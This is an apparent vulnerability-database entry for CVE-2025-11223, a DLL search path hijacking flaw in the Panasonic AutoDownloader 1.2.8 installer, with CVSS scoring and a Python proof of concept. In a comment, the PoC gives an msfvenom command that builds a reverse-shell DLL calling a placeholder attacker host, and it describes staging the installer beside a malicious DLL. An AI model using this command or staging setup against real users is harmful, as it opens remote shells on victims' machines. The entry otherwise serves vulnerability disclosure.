Installer of
Panasonic
AutoDownloader
version 1.2.8
contains an issue with the DLL search path, which may lead to loading
a crafted DLL file in the same directory.
CVSS Details
CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Panasonic AutoDownloader 1.2.8
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11223 - Panasonic AutoDownloader DLL Search Path Hijacking PoC
# This PoC demonstrates the DLL search path hijacking vulnerability
# in Panasonic AutoDownloader installer version 1.2.8
import os
import shutil
# Step 1: Identify target DLLs that the installer attempts to load
# Common DLLs that may be hijacked include: version.dll, wininet.dll, etc.
TARGET_DLL = "version.dll"
# Step 2: Create a malicious DLL using msfvenom or a custom C project
# Example msfvenom command:
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f dll -o version.dll
def setup_attack_directory(installer_path, output_dir):
"""
Set up the attack directory by placing the malicious DLL
alongside the legitimate installer executable.
"""
if not os.path.exists(installer_path):
print(f"[ERROR] Installer not found: {installer_path}")
return False
# Create output directory if it doesn't exist
os.makedirs(output_dir, exist_ok=True)
# Copy the legitimate installer to the output directory
installer_name = os.path.basename(installer_path)
target_installer = os.path.join(output_dir, installer_name)
shutil.copy2(installer_path, target_installer)
print(f"[INFO] Installer copied to: {target_installer}")
# Generate or place the malicious DLL in the same directory
malicious_dll_path = os.path.join(output_dir, TARGET_DLL)
# Note: The actual malicious DLL must be compiled separately
# This is a placeholder - replace with actual malicious DLL generation
print(f"[INFO] Place malicious DLL at: {malicious_dll_path}")
print("[INFO] The malicious DLL should export the same functions as the legitimate one")
return True
def demonstrate_search_order():
"""
Demonstrate the Windows DLL search order that leads to this vulnerability.
Default search order:
1. The directory where the application loaded from
2. The system directory (C:\Windows\System32)
3. The 16-bit system directory
4. The Windows directory
5. The current working directory
6. Directories listed in the PATH environment variable
"""
search_order = [
"1. Application directory (highest priority - VULNERABLE)",
"2. System directory (C:\\Windows\\System32)",
"3. 16-bit system directory",
"4. Windows directory (C:\\Windows)",
"5. Current working directory",
"6. PATH environment variable directories"
]
print("=== Windows DLL Search Order ===")
for step in search_order:
print(step)
print("\n[!] The installer loads DLLs from the application directory first,")
print(" allowing an attacker to place a malicious DLL with the same name.")
if __name__ == "__main__":
print("=== CVE-2025-11223 PoC: DLL Search Path Hijacking ===")
print("Target: Panasonic AutoDownloader v1.2.8 Installer\n")
demonstrate_search_order()
# Example usage:
# setup_attack_directory("C:\\path\\to\\AutoDownloader_Setup.exe", "C:\\attack_dir")
print("\n[NOTE] Social engineering is required to trick the user into")
print(" running the installer from the attacker-controlled directory.")